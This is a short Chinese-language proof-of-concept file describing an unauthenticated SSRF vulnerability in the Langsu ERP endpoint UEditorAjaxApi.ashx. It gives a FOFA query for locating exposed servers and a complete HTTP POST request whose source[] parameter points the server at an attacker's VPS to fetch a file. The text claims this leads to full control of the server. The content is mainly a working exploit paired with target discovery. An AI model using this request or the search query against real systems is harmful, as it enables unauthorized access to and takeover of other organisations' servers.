POC/wpoc/朗速ERP/朗速ERP系统接口UEditorAjaxApi.ashx存在SSRF漏洞.md

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2025-03-04 23:12:57 +08:00
# 朗速ERP系统接口UEditorAjaxApi.ashx存在SSRF漏洞
朗速ERP UEditorAjaxApi.ashx 接口存在SSRF漏洞,未经身份验证的远程攻击者可以利用该漏洞在VPS上构造恶意文件使服务器访问并下载文件到本地进而控制服务器权限。
## fofa
```javascript
body="/Resource/Scripts/Yw/Yw_Bootstrap.js"
```
## poc
```javascript
POST /Api/UEditor/UEditorAjaxApi.ashx?method=catchimage HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: keep-alive
source[]=http://vpsip
```
![image-20250103185025413](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202501031850476.png)